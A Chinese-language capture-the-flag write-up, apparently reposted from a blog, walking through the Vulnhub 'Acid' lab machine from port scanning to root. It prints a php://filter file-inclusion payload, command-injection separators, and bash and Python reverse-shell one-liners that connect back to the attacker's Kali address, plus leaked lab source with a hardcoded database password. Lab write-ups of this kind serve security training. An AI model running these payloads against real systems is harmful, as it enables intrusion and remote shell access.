Acid靶机渗透
Acid滲透靶機(jī)實(shí)戰(zhàn)
攻擊機(jī):kali 192.168.41.147
靶機(jī): acid 192.168.41.149
信息收集
- ip發(fā)現(xiàn)
開(kāi)啟Acid靶機(jī),通過(guò)nmap進(jìn)行局域網(wǎng)存火主機(jī)掃描.

- 端口掃描
通過(guò)nmap進(jìn)行端口掃描,因?yàn)閚map默認(rèn)是掃描1000個(gè)端口,發(fā)現(xiàn)沒(méi)有開(kāi)放服務(wù)。于是我設(shè)置了端口為全端口1-65535
目標(biāo)主機(jī)在33447開(kāi)了http服務(wù),web服務(wù)器是Apache/2.4.10 系統(tǒng)是 Ubuntu ,沒(méi)有發(fā)現(xiàn)cms指紋
開(kāi)始滲透實(shí)戰(zhàn)
首先利用dirsearch掃描下網(wǎng)站目錄,同時(shí)進(jìn)入網(wǎng)站 http://192.168.41.149:33447/ 看看有沒(méi)有可以值得利用的地方
查看網(wǎng)頁(yè)源代碼,發(fā)現(xiàn)一串16進(jìn)制的數(shù),轉(zhuǎn)化成字符=> d293LmpwZw==, base64在轉(zhuǎn)化=> wow.jpg
有/images/目錄,進(jìn)入網(wǎng)站的images目錄發(fā)現(xiàn)403,呢么加個(gè)/wow.jpg看看
保存圖片到本地,查看有沒(méi)有隱藏什么信息,直接用winhex打開(kāi)。發(fā)現(xiàn)有一些特別的數(shù)字,看著像16進(jìn)制。txt是個(gè)好東西,直接拖進(jìn)txt里,然后替換:為空
轉(zhuǎn)為字符串解出來(lái)是一串7aee0f6d588ed9905ee37f16a7c610d4,看著像md5,拿著去解一下
disbuster fuzz
到這就沒(méi)思路了,接下來(lái)該怎么搞,看WP是用dirbuster爆破出來(lái)的challenge目錄,我的dirrsearch不行啊,煞筆了,網(wǎng)站標(biāo)題就是/Challenge
百度了下dirbuster的fuzz 目錄的用法,fuzz下/Challenge目錄下的php文件
找到了**cake.php,include.php,error.php,index.php,hacked.php**
我們先進(jìn)入Chanllenge目錄主頁(yè)看下,有種似曾相識(shí)的感覺(jué),在領(lǐng)航杯的第一次AWD那年,碰到的主頁(yè)一樣
在main.css中找到這幾句話
>>>Conclusion:
Through Login/Logout form it becomes easy to deal with sessions in PHP. Hope you like it, keep reading our other blogs.
Comments and Responses
Your email address will not be published. Required fields are marked *
那就讓我們?nèi)ふ蚁聞e的點(diǎn)
cake.php
查看源碼中,出現(xiàn)了/Magic_Box的字樣,估計(jì)是個(gè)目錄
hacked.php
并沒(méi)有發(fā)現(xiàn)什么東西
error.php
同樣,什么東西都沒(méi)有發(fā)現(xiàn)
include.php
看文件名,就知道可能跟文件包含有關(guān)系。果然,直接給了個(gè)文件包含的頁(yè)面
當(dāng)輸入index.php時(shí),發(fā)現(xiàn)頁(yè)面會(huì)重疊index.php的畫面,看來(lái)是直接包含了,而不是進(jìn)入包含的頁(yè)面,并且url參數(shù)有可以利用的點(diǎn),讓我們來(lái)用php偽協(xié)議來(lái)看看源碼
payload: http://192.168.41.149:33447/Challenge/include.php?file=php://filter/read=convert.base64-encode/resource=index.php&add=Extract+File
頁(yè)面一閃而過(guò),可以bp抓包查看,確實(shí)以base64編碼格式讀取了index.php的源碼
再看下別的頁(yè)面
hacked.php <?php include_once 'includes/db_connect.php'; include_once 'includes/functions.php';sec_session_start();if (!isset($_SESSION['protected_page'])){ header('Location: protected_page.php'); exit; } if (!isset($_SESSION['index_page'])){ header('Location: protected_page.php'); exit; } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="css/style.css"> <link rel="stylesheet" href="styles/main.css" /> <title>Try to Extract Juicy details</title> </head> <body> <div class="wrapper"> <div class="container"> <?php if(isset($_REQUEST['add'])) { $dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'mehak'; $conn = mysql_connect($dbhost, $dbuser, $dbpass); if(! $conn ) { die('Could not connect: ' . mysql_error()); }$id = $_POST['id']; $sql = "SELECT * FROM members WHERE ID = (('$id'))"; mysql_select_db('secure_login'); $retval = mysql_query( $sql, $conn ); if(! $retval ) { die('Could not enter data: ' . mysql_error()); } echo "You have entered ID successfully...Which is not a big deal :D\n"; mysql_close($conn); } ?> <p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br> <form method="get" action="<?php $_PHP_SELF ?>"> Enter your ID:<input name="id" placeholder="id" type="text" id="id" maxlength="20"> <input name="add" type="submit" id="add" value="Add ID"></body> </html> cake.php <?php include_once 'includes/db_connect.php'; include_once 'includes/functions.php'; ?><!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="css/style.css"> <link rel="stylesheet" href="styles/main.css" /> <title>/Magic_Box</title> </head> <body> <div class="wrapper"> <div class="container"> <p><h1><font color='Red'>Ah.haan....There is long way to go..dude :-)</h1></font><br><font color='Green'>Please <a href="index.php">login</a></f$ </body> </html> <?php/* Come on....catch this file "tails.php" */ ?>?看到hacked.php中,當(dāng)兩個(gè)session都有時(shí)候才會(huì)繼續(xù)下面的內(nèi)容,只有當(dāng)你進(jìn)入,index.php和protected_page之后,訪問(wèn)hacked.php,才會(huì)出現(xiàn)如下頁(yè)面
好像沒(méi)啥用啊?把之前找的md5密碼拿出來(lái)填進(jìn)去,以為會(huì)發(fā)現(xiàn)什么有趣的事,結(jié)果跟沒(méi)啥用的頁(yè)面。
然后發(fā)現(xiàn)cake.php最后一行中,有提示tails.php,嘗試進(jìn)入,發(fā)現(xiàn)not found,include試試看,也是個(gè)302跳轉(zhuǎn)到protected_page(被耍了嗎,我去)
然后還是回到原來(lái),發(fā)現(xiàn)的Magic_box目錄,用dirbuster來(lái)fuzz下目錄文件
Command injection
發(fā)現(xiàn)了一個(gè)command.php頁(yè)面,估計(jì)是直接命令執(zhí)行的頁(yè)面,我們可以直接反彈個(gè)shell,然后找一下真正的flag(我發(fā)現(xiàn)了,普通的字典是跑不出來(lái)的,OWASP里的字典才行)
命令執(zhí)行成功,這里可以用; 或者&和|,都可以執(zhí)行,但是記得urlendoce下,因?yàn)槭翘厥夥?hào),需要url編碼,不然可能不會(huì)執(zhí)行
?
嘗試反彈shell,kali,nc監(jiān)聽(tīng)9090端口,nc -lvvp 9090
>>payload:bash -i >& /dev/tcp/192.168.41.147/9090 0>&1? ? ?失敗
>>payload:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.41.147',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"? ? 成功反彈shell
?
?
?提權(quán)
然后看一下/etc/passwd,查找一些有用的信息.
發(fā)現(xiàn)有兩個(gè)用戶能登陸并且能操作終端
?emmmmm,然后不會(huì)了,看了WP,不會(huì)提權(quán)啊,自己嘗試百度找找su提權(quán)的東西
知識(shí)點(diǎn)如下
- sudo :?暫時(shí)切換到超級(jí)用戶模式以執(zhí)行超級(jí)用戶權(quán)限,提示輸入密碼時(shí)該密碼為當(dāng)前用戶的密碼,而不是超級(jí)賬戶的密碼。不過(guò)有時(shí)間限制,Ubuntu默認(rèn)為一次時(shí)長(zhǎng)15分鐘。
- su:? ? ? 切換到某某用戶模式,提示輸入密碼時(shí)該密碼為切換后賬戶的密碼,用法為“su?賬戶名稱”。如果后面不加賬戶時(shí)系統(tǒng)默認(rèn)為root賬戶,密碼也為超級(jí)賬戶的密碼。沒(méi)有時(shí)間限制
- sudo?-i:?為了頻繁的執(zhí)行某些只有超級(jí)用戶才能執(zhí)行的權(quán)限,而不用每次輸入密碼,可以使用該命令。提示輸入密碼時(shí)該密碼為當(dāng)前賬戶的密碼。沒(méi)有時(shí)間限制。執(zhí)行該命令后提示符變?yōu)椤?”而不是“$”。想退回普通賬戶時(shí)可以執(zhí)行“exit”或“l(fā)ogout”?。
- sudo?-i?直接運(yùn)行sudo命令加-i參數(shù)
sudo?su?運(yùn)行sudo命令給su命令提權(quán),運(yùn)行su命令。
sudo?-i?運(yùn)行結(jié)果?PWD=/root
sudo?su?運(yùn)行結(jié)果?PWD=/home/用戶名(當(dāng)前用戶主目錄)
也就是我們需要su到一個(gè)普通用戶,只要知道用戶密碼,可以通過(guò)sudo-i,直接提權(quán)至root用戶。
但是,su命令前提需要一個(gè)終端,需要的是一個(gè)終端設(shè)備輸入密碼,但是我們反彈shell的真是一個(gè)標(biāo)準(zhǔn)輸入樣子的。
我們可以用python命令生成一個(gè)虛擬的終端( Python -c 'import pty;pty.spawn("/bin/sh")'?)
?
OK,su命令可以用了,接下來(lái)就是提權(quán)到acid后者saman,再sudo -i 提權(quán)到root用戶
但是su 到任意用戶,我們都需要這個(gè)用戶的密碼,我們才能登陸
shadow是真正保存密碼的地方,但是我們啥權(quán)限都沒(méi)有---,很悲催,所有者為root,且shadow組下的用戶才有查看的權(quán)限
到這里好像就走不下去了,偷瞄一眼WP。
接下來(lái)我們可以查看下相關(guān)用戶的文件,利用find / -user 命令
命令:find / -user acid? 2>/dev/null? ? ? ? ? ? ? ? ? ? 解釋下: 2>/dev/null? ?2再ilnux中的意思是標(biāo)準(zhǔn)錯(cuò)誤,/dev/null指空設(shè)備,即將標(biāo)準(zhǔn)錯(cuò)誤重定向到空設(shè)備=>不會(huì)報(bào)錯(cuò),顯錯(cuò)
?
不加的話,就會(huì)提示錯(cuò)誤信息,沒(méi)有權(quán)限等等,這樣反而給我們閱讀造成困擾,本來(lái)就沒(méi)權(quán)限的,還需要你再告訴一遍嘛(下面還一堆錯(cuò)誤信息?)
?
舒服多了,我們來(lái)找下有沒(méi)有什么可以利用的文件
很貼心,第一行就告訴了我們?,嘗試用wireshark讀取查看,xx,這怎么看,人家有沒(méi)裝wireshark,又觸及到我的知識(shí)盲區(qū),瞄一眼WP
利用scp命令進(jìn)行Linux之間復(fù)制文件和目錄(基于ssh登陸的安全的拷貝文件命令)
命令格式 :
scp local_file remote_username@remote_ip:remote_file?
scp root@www.runoob.com:/home/root/others/music?/home/space/music/1.mp3
wireshark分析下,找了半天,都是些亂四八糟的協(xié)議,snmp,arp協(xié)議等等,索性直接搜索http和tcp流看看
可以發(fā)現(xiàn),這像是一個(gè)聊天會(huì)話并且關(guān)于saman用戶的,而且貌似出現(xiàn)了密碼吧?1337hax0r,此前在一個(gè)command.php頁(yè)面也有
成功提權(quán)至saman用戶,接下來(lái)就可以直接sudo -i 提升至root用戶
成功提權(quán)至root用戶
?
知識(shí)點(diǎn):dirbuster fuzz,命令執(zhí)行,反彈shell,python命令生成虛擬終端,su,sudo提升權(quán)限
命令執(zhí)行: ; , & , | 繞過(guò)
python命令生成交互終端:Python -c 'import pty;pty.spawn("/bin/sh")'
su:切換用戶,需要知道密碼
sudo:是允許系統(tǒng)管理員讓普通用戶執(zhí)行一些或者全部的root命令的一個(gè)工具。不是所有用戶都可以用sudo -i 直接升為root,而是再/etc/sudoers中指定哪些用戶可以用sudo命令
簡(jiǎn)單學(xué)習(xí)下linux中的權(quán)限問(wèn)題:
?
?比如: rwxr-xr-x ?5 root root ?94 Jun 27 2017 xdg? ?三個(gè)為一組
rwx:代表文件所有者(u表示)權(quán)限,這里是root,root對(duì)該文件擁有讀寫執(zhí)行權(quán)限
r-x : ?代表所屬組(g表示)的權(quán)限,這里所屬組擁有對(duì)該文件讀和執(zhí)行的權(quán)限
r-x : ?代表其他人(o表示)的權(quán)限,這里和上面權(quán)限一樣
所以平常大家都希望看到的777,就是rwx,擁有讀寫執(zhí)行的權(quán)限?
?
并非獨(dú)立完成,參考了他人的鍛煉記錄
學(xué)習(xí)資料: Acid:https://www.360zhijia.com/anquan/372977.html? (內(nèi)附Acid靶機(jī),其他靶機(jī)可在Vulnhub下載)
? ?Linux /etc/passwd詳解https://blog.csdn.net/zyy1659949090/article/details/88176215
? ? ? ? ? ? ? ? ?Linux 權(quán)限詳解https://www.cnblogs.com/songgj/p/8890710.html
零零散散的百度知識(shí)就不附上了
轉(zhuǎn)載于:https://www.cnblogs.com/BOHB-yunying/p/11293862.html
總結(jié)
- 上一篇: 2018焦作网络赛-E- Jiu Yua
- 下一篇: BZOJ1036: [ZJOI2008]